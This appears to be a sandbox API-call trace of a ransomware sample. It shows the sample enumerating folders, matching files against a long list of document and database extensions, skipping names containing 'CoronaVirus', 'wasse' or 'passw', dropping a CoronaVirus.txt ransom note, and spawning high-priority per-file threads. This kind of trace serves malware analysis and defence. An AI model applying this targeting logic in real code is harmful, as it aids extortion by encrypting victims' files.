	[0081.304] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.304] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.304] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.304] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.304] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.304] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.304] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.310] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.310] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.310] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.310] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.310] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.310] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.310] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.310] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.310] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.316] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.316] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.316] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.321] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.323] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.323] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.323] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.323] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.323] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.323] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.323] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.323] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.324] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.324] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.325] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.325] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.326] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.326] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.326] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0081.326] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1
	[0081.326] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.326] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.326] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1040") returned 26
	[0081.326] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.326] wcsstr (_Str="C:\\588bce7c90097ed212\\1040", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.326] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.333] _alloca_probe () returned 0x4036d0
	[0081.333] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1040", lpFilePart=0x316583c*="1040") returned 0x1a
	[0081.333] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9d5863b, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0081.333] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.333] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9d5863b, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.333] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.333] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d5863b, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe9d5863b, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.333] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.333] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.333] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.333] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.333] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.333] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.333] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.333] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.333] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.333] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.333] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.333] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.333] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.333] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.333] malloc (_Size=0x1000) returned 0x2f182a8
	[0081.333] _swprintf (in: param_1=0x2f182a8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\CoronaVirus.txt") returned 42
	[0081.334] wcsstr (_Str="C:\\588bce7c90097ed212\\1040\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.334] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.334] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.334] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.334] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.334] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.335] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.335] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.336] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.336] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.336] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.336] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.336] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.336] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.336] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.336] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.336] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.336] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.336] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.336] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.336] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.336] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.336] malloc (_Size=0x1000) returned 0x2f1c2c8
	[0081.336] _swprintf (in: param_1=0x2f1c2c8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0081.336] wcsstr (_Str="C:\\588bce7c90097ed212\\1040\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.336] wcsstr (_Str="C:\\588bce7c90097ed212\\1040\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.336] wcsstr (_Str="C:\\588bce7c90097ed212\\1040\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1c2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0081.336] SetThreadPriority (hThread=0x464, nPriority=15) returned 1
	[0081.338] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.348] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.348] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.348] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.348] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.348] malloc (_Size=0x1000) returned 0x2f1c2c8
	[0081.348] _swprintf (in: param_1=0x2f1c2c8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0081.348] wcsstr (_Str="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.348] wcsstr (_Str="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.348] wcsstr (_Str="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1c2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0081.349] SetThreadPriority (hThread=0x468, nPriority=15) returned 1
	[0081.351] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.351] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.351] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.351] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.351] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.351] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.351] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.351] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.351] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.357] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.357] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.357] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.357] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.357] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.357] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.357] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.358] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.358] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.358] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.358] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.358] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.363] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
